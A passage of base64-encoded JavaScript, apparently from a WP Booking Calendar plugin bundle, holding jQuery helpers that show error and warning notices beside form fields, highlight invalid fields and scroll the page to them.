Z2h0JyA9PT0gcGFyYW1zWyAnc2hvd19oZXJlJyBdWyAnd2hlcmUnIF0gKXtcclxuXHJcblx0XHRqcV9lbF9tZXNzYWdlID0galF1ZXJ5KCBwYXJhbXNbICdzaG93X2hlcmUnIF1bICdqcV9ub2RlJyBdICkubmV4dEFsbCggJy53cGJjX2Zyb250X2VuZF9fbWVzc2FnZV9jb250YWluZXJfcmlnaHQnICkuZmluZCggJ1tpZF49XCJ3cGJjX25vdGljZV9cIl0nICk7XHJcblx0XHRpZiAoIChwYXJhbXNbICdpZl92aXNpYmxlX25vdF9zaG93JyBdKSAmJiAoanFfZWxfbWVzc2FnZS5pcyggJzp2aXNpYmxlJyApKSApe1xyXG5cdFx0XHRpc19zaG93X21lc3NhZ2UgPSBmYWxzZTtcclxuXHRcdFx0dW5pcXVlX2Rpdl9pZCA9IGpRdWVyeSgganFfZWxfbWVzc2FnZS5nZXQoIDAgKSApLmF0dHIoICdpZCcgKTtcclxuXHRcdH1cclxuXHRcdGlmICggaXNfc2hvd19tZXNzYWdlICl7XHJcblx0XHRcdGpRdWVyeSggcGFyYW1zWyAnc2hvd19oZXJlJyBdWyAnanFfbm9kZScgXSApLmJlZm9yZSggc2Nyb2xsX3RvX2VsZW1lbnQgKTtcdFx0Ly8gV2UgbmVlZCB0byAgc2V0ICBoZXJlIGJlZm9yZShmb3IgaGFuZHkgc2Nyb2xsKVxyXG5cdFx0XHRqUXVlcnkoIHBhcmFtc1sgJ3Nob3dfaGVyZScgXVsgJ2pxX25vZGUnIF0gKS5hZnRlciggJzxkaXYgY2xhc3M9XCJ3cGJjX2Zyb250X2VuZF9fbWVzc2FnZV9jb250YWluZXJfcmlnaHRcIj4nICsgbWVzc2FnZSArICc8L2Rpdj4nICk7XHJcblx0XHR9XHJcblx0fSBlbHNlIGlmICggJ2xlZnQnID09PSBwYXJhbXNbICdzaG93X2hlcmUnIF1bICd3aGVyZScgXSApe1xyXG5cclxuXHRcdGpxX2VsX21lc3NhZ2UgPSBqUXVlcnkoIHBhcmFtc1sgJ3Nob3dfaGVyZScgXVsgJ2pxX25vZGUnIF0gKS5zaWJsaW5ncyggJy53cGJjX2Zyb250X2VuZF9fbWVzc2FnZV9jb250YWluZXJfbGVmdCcgKS5maW5kKCAnW2lkXj1cIndwYmNfbm90aWNlX1wiXScgKTtcclxuXHRcdGlmICggKHBhcmFtc1sgJ2lmX3Zpc2libGVfbm90X3Nob3cnIF0pICYmIChqcV9lbF9tZXNzYWdlLmlzKCAnOnZpc2libGUnICkpICl7XHJcblx0XHRcdGlzX3Nob3dfbWVzc2FnZSA9IGZhbHNlO1xyXG5cdFx0XHR1bmlxdWVfZGl2X2lkID0galF1ZXJ5KCBqcV9lbF9tZXNzYWdlLmdldCggMCApICkuYXR0ciggJ2lkJyApO1xyXG5cdFx0fVxyXG5cdFx0aWYgKCBpc19zaG93X21lc3NhZ2UgKXtcclxuXHRcdFx0alF1ZXJ5KCBwYXJhbXNbICdzaG93X2hlcmUnIF1bICdqcV9ub2RlJyBdICkuYmVmb3JlKCBzY3JvbGxfdG9fZWxlbWVudCApO1x0XHQvLyBXZSBuZWVkIHRvICBzZXQgIGhlcmUgYmVmb3JlKGZvciBoYW5keSBzY3JvbGwpXHJcblx0XHRcdGpRdWVyeSggcGFyYW1zWyAnc2hvd19oZXJlJyBdWyAnanFfbm9kZScgXSApLmJlZm9yZSggJzxkaXYgY2xhc3M9XCJ3cGJjX2Zyb250X2VuZF9fbWVzc2FnZV9jb250YWluZXJfbGVmdFwiPicgKyBtZXNzYWdlICsgJzwvZGl2PicgKTtcclxuXHRcdH1cclxuXHR9XHJcblxyXG5cdGlmICggICAoIGlzX3Nob3dfbWVzc2FnZSApICAmJiAgKCBwYXJzZUludCggcGFyYW1zWyAnZGVsYXknIF0gKSA+IDAgKSAgICl7XHJcblx0XHR2YXIgY2xvc2VkX3RpbWVyID0gc2V0VGltZW91dCggZnVuY3Rpb24gKCl7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0alF1ZXJ5KCAnIycgKyB1bmlxdWVfZGl2X2lkICkuZmFkZU91dCggMTUwMCApO1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdH0gLCBwYXJzZUludCggcGFyYW1zWyAnZGVsYXknIF0gKSAgICk7XHJcblxyXG5cdFx0dmFyIGNsb3NlZF90aW1lcjIgPSBzZXRUaW1lb3V0KCBmdW5jdGlvbiAoKXtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdGpRdWVyeSggJyMnICsgdW5pcXVlX2Rpdl9pZCApLnRyaWdnZXIoICdoaWRlJyApO1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdH0sICggcGFyc2VJbnQoIHBhcmFtc1sgJ2RlbGF5JyBdICkgKyAxNTAxICkgKTtcclxuXHR9XHJcblxyXG5cdC8vIENoZWNrICBpZiBzaG93ZWQgbWVzc2FnZSBpbiBzb21lIGhpZGRlbiBwYXJlbnQgc2VjdGlvbiBhbmQgc2hvdyBpdC4gQnV0IGl0IG11c3QgIGJlIGxvd2VyIHRoYW4gJy53cGJjX2NvbnRhaW5lcidcclxuXHR2YXIgcGFyZW50X2VscyA9IGpRdWVyeSggJyMnICsgdW5pcXVlX2Rpdl9pZCApLnBhcmVudHMoKS5tYXAoIGZ1bmN0aW9uICgpe1xyXG5cdFx0aWYgKCAoIWpRdWVyeSggdGhpcyApLmlzKCAndmlzaWJsZScgKSkgJiYgKGpRdWVyeSggJy53cGJjX2NvbnRhaW5lcicgKS5oYXMoIHRoaXMgKSkgKXtcclxuXHRcdFx0alF1ZXJ5KCB0aGlzICkuc2hvdygpO1xyXG5cdFx0fVxyXG5cdH0gKTtcclxuXHJcblx0aWYgKCBwYXJhbXNbICdpc19zY3JvbGwnIF0gKXtcclxuXHRcdHdwYmNfZG9fc2Nyb2xsKCAnIycgKyB1bmlxdWVfZGl2X2lkICsgJ19zY3JvbGwnICk7XHJcblx0fVxyXG5cclxuXHRyZXR1cm4gdW5pcXVlX2Rpdl9pZDtcclxufVxyXG5cclxuXHJcblx0LyoqXHJcblx0ICogRXJyb3IgbWVzc2FnZS4gXHRQcmVzZXQgb2YgcGFyYW1ldGVycyBmb3IgcmVhbCBtZXNzYWdlIGZ1bmN0aW9uLlxyXG5cdCAqXHJcblx0ICogQHBhcmFtIGVsXHRcdC0gYW55IGpRdWVyeSBub2RlIGRlZmluaXRpb25cclxuXHQgKiBAcGFyYW0gbWVzc2FnZVx0LSBNZXNzYWdlIEhUTUxcclxuXHQgKiBAcmV0dXJucyBzdHJpbmcgIC0gSFRNTCBJRFx0XHRvciAwIGlmIG5vdCBzaG93aW5nIGR1cmluZyB0aGlzIHRpbWUuXHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19mcm9udF9lbmRfX3Nob3dfbWVzc2FnZV9fZXJyb3IoIGpxX25vZGUsIG1lc3NhZ2UgKXtcclxuXHJcblx0XHR2YXIgbm90aWNlX21lc3NhZ2VfaWQgPSB3cGJjX2Zyb250X2VuZF9fc2hvd19tZXNzYWdlKFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdG1lc3NhZ2UsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0e1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3R5cGUnICAgICAgICAgICAgICAgOiAnZXJyb3InLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2RlbGF5JyAgICAgICAgICAgICAgOiAxMDAwMCxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdpZl92aXNpYmxlX25vdF9zaG93JzogdHJ1ZSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdzaG93X2hlcmUnICAgICAgICAgIDoge1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3doZXJlJyAgOiAncmlnaHQnLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2pxX25vZGUnOiBqcV9ub2RlXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0ICAgfVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdH1cclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCk7XHJcblx0XHRyZXR1cm4gbm90aWNlX21lc3NhZ2VfaWQ7XHJcblx0fVxyXG5cclxuXHJcblx0LyoqXHJcblx0ICogRXJyb3IgbWVzc2FnZSBVTkRFUiBlbGVtZW50LiBcdFByZXNldCBvZiBwYXJhbWV0ZXJzIGZvciByZWFsIG1lc3NhZ2UgZnVuY3Rpb24uXHJcblx0ICpcclxuXHQgKiBAcGFyYW0gZWxcdFx0LSBhbnkgalF1ZXJ5IG5vZGUgZGVmaW5pdGlvblxyXG5cdCAqIEBwYXJhbSBtZXNzYWdlXHQtIE1lc3NhZ2UgSFRNTFxyXG5cdCAqIEByZXR1cm5zIHN0cmluZyAgLSBIVE1MIElEXHRcdG9yIDAgaWYgbm90IHNob3dpbmcgZHVyaW5nIHRoaXMgdGltZS5cclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2Zyb250X2VuZF9fc2hvd19tZXNzYWdlX19lcnJvcl91bmRlcl9lbGVtZW50KCBqcV9ub2RlLCBtZXNzYWdlLCBtZXNzYWdlX2RlbGF5ICl7XHJcblxyXG5cdFx0aWYgKCAndW5kZWZpbmVkJyA9PT0gdHlwZW9mIChtZXNzYWdlX2RlbGF5KSApe1xyXG5cdFx0XHRtZXNzYWdlX2RlbGF5ID0gMFxyXG5cdFx0fVxyXG5cclxuXHRcdHZhciBub3RpY2VfbWVzc2FnZV9pZCA9IHdwYmNfZnJvbnRfZW5kX19zaG93X21lc3NhZ2UoXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0bWVzc2FnZSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQndHlwZScgICAgICAgICAgICAgICA6ICdlcnJvcicsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnZGVsYXknICAgICAgICAgICAgICA6IG1lc3NhZ2VfZGVsYXksXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnaWZfdmlzaWJsZV9ub3Rfc2hvdyc6IHRydWUsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnc2hvd19oZXJlJyAgICAgICAgICA6IHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd3aGVyZScgIDogJ2FmdGVyJyxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdqcV9ub2RlJzoganFfbm9kZVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCAgIH1cclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR9XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQpO1xyXG5cdFx0cmV0dXJuIG5vdGljZV9tZXNzYWdlX2lkO1xyXG5cdH1cclxuXHJcblxyXG5cdC8qKlxyXG5cdCAqIEVycm9yIG1lc3NhZ2UgVU5ERVIgZWxlbWVudC4gXHRQcmVzZXQgb2YgcGFyYW1ldGVycyBmb3IgcmVhbCBtZXNzYWdlIGZ1bmN0aW9uLlxyXG5cdCAqXHJcblx0ICogQHBhcmFtIGVsXHRcdC0gYW55IGpRdWVyeSBub2RlIGRlZmluaXRpb25cclxuXHQgKiBAcGFyYW0gbWVzc2FnZVx0LSBNZXNzYWdlIEhUTUxcclxuXHQgKiBAcmV0dXJucyBzdHJpbmcgIC0gSFRNTCBJRFx0XHRvciAwIGlmIG5vdCBzaG93aW5nIGR1cmluZyB0aGlzIHRpbWUuXHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19mcm9udF9lbmRfX3Nob3dfbWVzc2FnZV9fZXJyb3JfYWJvdmVfZWxlbWVudCgganFfbm9kZSwgbWVzc2FnZSwgbWVzc2FnZV9kZWxheSApe1xyXG5cclxuXHRcdGlmICggJ3VuZGVmaW5lZCcgPT09IHR5cGVvZiAobWVzc2FnZV9kZWxheSkgKXtcclxuXHRcdFx0bWVzc2FnZV9kZWxheSA9IDEwMDAwXHJcblx0XHR9XHJcblxyXG5cdFx0dmFyIG5vdGljZV9tZXNzYWdlX2lkID0gd3BiY19mcm9udF9lbmRfX3Nob3dfbWVzc2FnZShcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRtZXNzYWdlLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd0eXBlJyAgICAgICAgICAgICAgIDogJ2Vycm9yJyxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdkZWxheScgICAgICAgICAgICAgIDogbWVzc2FnZV9kZWxheSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdpZl92aXNpYmxlX25vdF9zaG93JzogdHJ1ZSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdzaG93X2hlcmUnICAgICAgICAgIDoge1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3doZXJlJyAgOiAnYmVmb3JlJyxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdqcV9ub2RlJzoganFfbm9kZVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCAgIH1cclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR9XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQpO1xyXG5cdFx0cmV0dXJuIG5vdGljZV9tZXNzYWdlX2lkO1xyXG5cdH1cclxuXHJcblxyXG5cdC8qKlxyXG5cdCAqIFdhcm5pbmcgbWVzc2FnZS4gXHRQcmVzZXQgb2YgcGFyYW1ldGVycyBmb3IgcmVhbCBtZXNzYWdlIGZ1bmN0aW9uLlxyXG5cdCAqXHJcblx0ICogQHBhcmFtIGVsXHRcdC0gYW55IGpRdWVyeSBub2RlIGRlZmluaXRpb25cclxuXHQgKiBAcGFyYW0gbWVzc2FnZVx0LSBNZXNzYWdlIEhUTUxcclxuXHQgKiBAcmV0dXJucyBzdHJpbmcgIC0gSFRNTCBJRFx0XHRvciAwIGlmIG5vdCBzaG93aW5nIGR1cmluZyB0aGlzIHRpbWUuXHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19mcm9udF9lbmRfX3Nob3dfbWVzc2FnZV9fd2FybmluZygganFfbm9kZSwgbWVzc2FnZSApe1xyXG5cclxuXHRcdHZhciBub3RpY2VfbWVzc2FnZV9pZCA9IHdwYmNfZnJvbnRfZW5kX19zaG93X21lc3NhZ2UoXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0bWVzc2FnZSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQndHlwZScgICAgICAgICAgICAgICA6ICd3YXJuaW5nJyxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdkZWxheScgICAgICAgICAgICAgIDogMTAwMDAsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnaWZfdmlzaWJsZV9ub3Rfc2hvdyc6IHRydWUsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnc2hvd19oZXJlJyAgICAgICAgICA6IHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd3aGVyZScgIDogJ3JpZ2h0JyxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdqcV9ub2RlJzoganFfbm9kZVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCAgIH1cclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR9XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQpO1xyXG5cdFx0d3BiY19oaWdobGlnaHRfZXJyb3Jfb25fZm9ybV9maWVsZCgganFfbm9kZSApO1xyXG5cdFx0cmV0dXJuIG5vdGljZV9tZXNzYWdlX2lkO1xyXG5cdH1cclxuXHJcblxyXG5cdC8qKlxyXG5cdCAqIFdhcm5pbmcgbWVzc2FnZSBVTkRFUiBlbGVtZW50LiBcdFByZXNldCBvZiBwYXJhbWV0ZXJzIGZvciByZWFsIG1lc3NhZ2UgZnVuY3Rpb24uXHJcblx0ICpcclxuXHQgKiBAcGFyYW0gZWxcdFx0LSBhbnkgalF1ZXJ5IG5vZGUgZGVmaW5pdGlvblxyXG5cdCAqIEBwYXJhbSBtZXNzYWdlXHQtIE1lc3NhZ2UgSFRNTFxyXG5cdCAqIEByZXR1cm5zIHN0cmluZyAgLSBIVE1MIElEXHRcdG9yIDAgaWYgbm90IHNob3dpbmcgZHVyaW5nIHRoaXMgdGltZS5cclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2Zyb250X2VuZF9fc2hvd19tZXNzYWdlX193YXJuaW5nX3VuZGVyX2VsZW1lbnQoIGpxX25vZGUsIG1lc3NhZ2UgKXtcclxuXHJcblx0XHR2YXIgbm90aWNlX21lc3NhZ2VfaWQgPSB3cGJjX2Zyb250X2VuZF9fc2hvd19tZXNzYWdlKFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdG1lc3NhZ2UsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0e1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3R5cGUnICAgICAgICAgICAgICAgOiAnd2FybmluZycsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnZGVsYXknICAgICAgICAgICAgICA6IDEwMDAwLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2lmX3Zpc2libGVfbm90X3Nob3cnOiB0cnVlLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3Nob3dfaGVyZScgICAgICAgICAgOiB7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnd2hlcmUnICA6ICdhZnRlcicsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnanFfbm9kZSc6IGpxX25vZGVcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQgICB9XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0fVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0KTtcclxuXHRcdHJldHVybiBub3RpY2VfbWVzc2FnZV9pZDtcclxuXHR9XHJcblxyXG5cclxuXHQvKipcclxuXHQgKiBXYXJuaW5nIG1lc3NhZ2UgQUJPVkUgZWxlbWVudC4gXHRQcmVzZXQgb2YgcGFyYW1ldGVycyBmb3IgcmVhbCBtZXNzYWdlIGZ1bmN0aW9uLlxyXG5cdCAqXHJcblx0ICogQHBhcmFtIGVsXHRcdC0gYW55IGpRdWVyeSBub2RlIGRlZmluaXRpb25cclxuXHQgKiBAcGFyYW0gbWVzc2FnZVx0LSBNZXNzYWdlIEhUTUxcclxuXHQgKiBAcmV0dXJucyBzdHJpbmcgIC0gSFRNTCBJRFx0XHRvciAwIGlmIG5vdCBzaG93aW5nIGR1cmluZyB0aGlzIHRpbWUuXHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19mcm9udF9lbmRfX3Nob3dfbWVzc2FnZV9fd2FybmluZ19hYm92ZV9lbGVtZW50KCBqcV9ub2RlLCBtZXNzYWdlICl7XHJcblxyXG5cdFx0dmFyIG5vdGljZV9tZXNzYWdlX2lkID0gd3BiY19mcm9udF9lbmRfX3Nob3dfbWVzc2FnZShcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRtZXNzYWdlLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd0eXBlJyAgICAgICAgICAgICAgIDogJ3dhcm5pbmcnLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2RlbGF5JyAgICAgICAgICAgICAgOiAxMDAwMCxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdpZl92aXNpYmxlX25vdF9zaG93JzogdHJ1ZSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdzaG93X2hlcmUnICAgICAgICAgIDoge1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3doZXJlJyAgOiAnYmVmb3JlJyxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdqcV9ub2RlJzoganFfbm9kZVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCAgIH1cclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR9XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQpO1xyXG5cdFx0cmV0dXJuIG5vdGljZV9tZXNzYWdlX2lkO1xyXG5cdH1cclxuXHJcblx0LyoqXHJcblx0ICogSGlnaGxpZ2h0IEVycm9yIGluIHNwZWNpZmljIGZpZWxkXHJcblx0ICpcclxuXHQgKiBAcGFyYW0ganFfbm9kZVx0XHRcdFx0XHRzdHJpbmcgb3IgalF1ZXJ5IGVsZW1lbnQsICB3aGVyZSBzY3JvbGwgIHRvXHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19oaWdobGlnaHRfZXJyb3Jfb25fZm9ybV9maWVsZCgganFfbm9kZSApe1xyXG5cclxuXHRcdGlmICggIWpRdWVyeSgganFfbm9kZSApLmxlbmd0aCApe1xyXG5cdFx0XHRyZXR1cm47XHJcblx0XHR9XHJcblx0XHRpZiAoICEgalF1ZXJ5KCBqcV9ub2RlICkuaXMoICc6aW5wdXQnICkgKXtcclxuXHRcdFx0Ly8gU2l0dWF0aW9uIHdpdGggIGNoZWNrYm94ZXMgb3IgcmFkaW8gIGJ1dHRvbnNcclxuXHRcdFx0dmFyIGpxX25vZGVfYXJyID0galF1ZXJ5KCBqcV9ub2RlICkuZmluZCggJzppbnB1dCcgKTtcclxuXHRcdFx0aWYgKCAhanFfbm9kZV9hcnIubGVuZ3RoICl7XHJcblx0XHRcdFx0cmV0dXJuXHJcblx0XHRcdH1cclxuXHRcdFx0anFfbm9kZSA9IGpxX25vZGVfYXJyLmdldCggMCApO1xyXG5cdFx0fVxyXG5cdFx0dmFyIHBhcmFtcyA9IHt9O1xyXG5cdFx0cGFyYW1zWyAnZGVsYXknIF0gPSAxMDAwMDtcclxuXHJcblx0XHRpZiAoICFqUXVlcnkoIGpxX25vZGUgKS5oYXNDbGFzcyggJ3dwYmNfZm9ybV9maWVsZF9lcnJvcicgKSApe1xyXG5cclxuXHRcdFx0alF1ZXJ5KCBqcV9ub2RlICkuYWRkQ2xhc3MoICd3cGJjX2Zvcm1fZmllbGRfZXJyb3InIClcclxuXHJcblx0XHRcdGlmICggcGFyc2VJbnQoIHBhcmFtc1sgJ2RlbGF5JyBdICkgPiAwICl7XHJcblx0XHRcdFx0dmFyIGNsb3NlZF90aW1lciA9IHNldFRpbWVvdXQoIGZ1bmN0aW9uICgpe1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQgalF1ZXJ5KCBqcV9ub2RlICkucmVtb3ZlQ2xhc3MoICd3cGJjX2Zvcm1fZmllbGRfZXJyb3InICk7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQgIH1cclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCAgICwgcGFyc2VJbnQoIHBhcmFtc1sgJ2RlbGF5JyBdIClcclxuXHRcdFx0XHRcdFx0XHRcdFx0KTtcclxuXHJcblx0XHRcdH1cclxuXHRcdH1cclxuXHR9XHJcblxyXG4vKipcclxuICogU2Nyb2xsIHRvIHNwZWNpZmljIGVsZW1lbnRcclxuICpcclxuICogQHBhcmFtIGpxX25vZGVcdFx0XHRcdFx0c3RyaW5nIG9yIGpRdWVyeSBlbGVtZW50LCAgd2hlcmUgc2Nyb2xsICB0b1xyXG4gKiBAcGFyYW0gZXh0cmFfc2hpZnRfb2Zmc2V0XHRcdGludCBzaGlmdCBvZmZzZXQgZnJvbSAganFfbm9kZVxyXG4gKi9cclxuZnVuY3Rpb24gd3BiY19kb19zY3JvbGwoIGpxX25vZGUgLCBleHRyYV9zaGlmdF9vZmZzZXQgPSAwICl7XHJcblxyXG5cdGlmICggIWpRdWVyeSgganFfbm9kZSApLmxlbmd0aCApe1xyXG5cdFx0cmV0dXJuO1xyXG5cdH1cclxuXHR2YXIgdGFyZ2V0T2Zmc2V0ID0galF1ZXJ5KCBqcV9ub2RlICkub2Zmc2V0KCkudG9wO1xyXG5cclxuXHRpZiAoIHRhcmdldE9mZnNldCA8PSAwICl7XHJcblx0XHRpZiAoIDAgIT0galF1ZXJ5KCBqcV9ub2RlICkubmV4dEFsbCggJzp2aXNpYmxlJyApLmxlbmd0aCApe1xyXG5cdFx0XHR0YXJnZXRPZmZzZXQgPSBqUXVlcnkoIGpxX25vZGUgKS5uZXh0QWxsKCAnOnZpc2libGUnICkuZmlyc3QoKS5vZmZzZXQoKS50b3A7XHJcblx0XHR9IGVsc2UgaWYgKCAwICE9IGpRdWVyeSgganFfbm9kZSApLnBhcmVudCgpLm5leHRBbGwoICc6dmlzaWJsZScgKS5sZW5ndGggKXtcclxuXHRcdFx0dGFyZ2V0T2Zmc2V0ID0galF1ZXJ5KCBqcV9ub2RlICkucGFyZW50KCkubmV4dEFsbCggJzp2aXNpYmxlJyApLmZpcnN0KCkub2Zmc2V0KCkudG9wO1xyXG5cdFx0fVxyXG5cdH1cclxuXHJcblx0aWYgKCBqUXVlcnkoICcjd3BhZG1pbmJhcicgKS5sZW5ndGggPiAwICl7XHJcblx0XHR0YXJnZXRPZmZzZXQgPSB0YXJnZXRPZmZzZXQgLSA1MCAtIDUwO1xyXG5cdH0gZWxzZSB7XHJcblx0XHR0YXJnZXRPZmZzZXQgPSB0YXJnZXRPZmZzZXQgLSAyMCAtIDUwO1xyXG5cdH1cclxuXHR0YXJnZXRPZmZzZXQgKz0gZXh0cmFfc2hpZnRfb2Zmc2V0O1xyXG5cclxuXHQvLyBTY3JvbGwgb25seSAgaWYgd2UgZGlkIG5vdCBzY3JvbGwgYmVmb3JlXHJcblx0aWYgKCAhIGpRdWVyeSggJ2h0bWwsYm9keScgKS5pcyggJzphbmltYXRlZCcgKSApe1xyXG5cdFx0alF1ZXJ5KCAnaHRtbCxib2R5JyApLmFuaW1hdGUoIHtzY3JvbGxUb3A6IHRhcmdldE9mZnNldH0sIDUwMCApO1xyXG5cdH1cclxufVxyXG5cclxuIiwiXHJcbi8vRml4SW46IDEwLjIuMC40XHJcbi8qKlxyXG4gKiBEZWZpbmUgUG9wb3ZlcnMgZm9yIFRpbWVsaW5lcyBpbiBXUCBCb29raW5nIENhbGVuZGFyXHJcbiAqXHJcbiAqIEByZXR1cm5zIHtzdHJpbmd8Ym9vbGVhbn1cclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfZGVmaW5lX3RpcHB5X3BvcG92ZXIoKXtcclxuXHRpZiAoICdmdW5jdGlvbicgIT09IHR5cGVvZiAod3BiY190aXBweSkgKXtcclxuXHRcdGNvbnNvbGUubG9nKCAnV1BCQyBFcnJvci4gd3BiY190aXBweSB3YXMgbm90IGRlZmluZWQuJyApO1xyXG5cdFx0cmV0dXJuIGZhbHNlO1xyXG5cdH1cclxuXHR3cG